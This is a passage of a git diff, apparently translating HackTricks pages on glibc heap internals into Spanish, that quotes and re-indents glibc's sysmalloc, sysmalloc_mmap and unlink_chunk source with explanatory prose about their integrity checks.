MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
-### sysmalloc checks +### sysmalloc verifica -It starts by getting old top chunk information and checking that some of the following condations are true: +Comienza obteniendo información del antiguo chunk superior y verificando que algunas de las siguientes condiciones sean verdaderas: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- El tamaño del antiguo heap es 0 (nuevo heap) +- El tamaño del heap anterior es mayor que MINSIZE y el antiguo Top está en uso +- El heap está alineado al tamaño de página (0x1000, por lo que los 12 bits inferiores deben ser 0) -Then it also checks that: +Luego también verifica que: -- The old size hasn't enough space to create a chunk for the requested size +- El tamaño antiguo no tiene suficiente espacio para crear un chunk para el tamaño solicitado
-sysmalloc checks - +sysmalloc verifica ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmalloc no arena principal -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +Primero intentará **extender** el montón anterior para este montón. Si no es posible, intentará **asignar un nuevo montón** y actualizar los punteros para poder usarlo.\ +Finalmente, si eso no funcionó, intentará llamar a **`sysmalloc_mmap`**.
-sysmalloc not main arena - +sysmalloc no arena principal ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
### sysmalloc main arena -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +Comienza calculando la cantidad de memoria necesaria. Comenzará solicitando memoria contigua, por lo que en este caso será posible utilizar la memoria antigua no utilizada. También se realizan algunas operaciones de alineación.
sysmalloc main arena - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc error anterior de la arena principal 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +Si el anterior devolvió `MORECORE_FAILURE`, intenta nuevamente asignar memoria usando `sysmalloc_mmap_fallback`
-sysmalloc main arena previous error 1 - +sysmalloc error anterior de la arena principal 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### continuación de la arena principal de sysmalloc -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +Si lo anterior no devolvió `MORECORE_FAILURE`, si funcionó, crea algunas alineaciones:
-sysmalloc main arena previous error 2 - +error anterior 2 de la arena principal de sysmalloc ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
-### sysmalloc finale - -Finish the allocation updating the arena information +### sysmalloc final +Termina la asignación actualizando la información de la arena. ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +código de sysmalloc_mmap ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..de3a442a5 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### Código ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,73 +10,72 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - 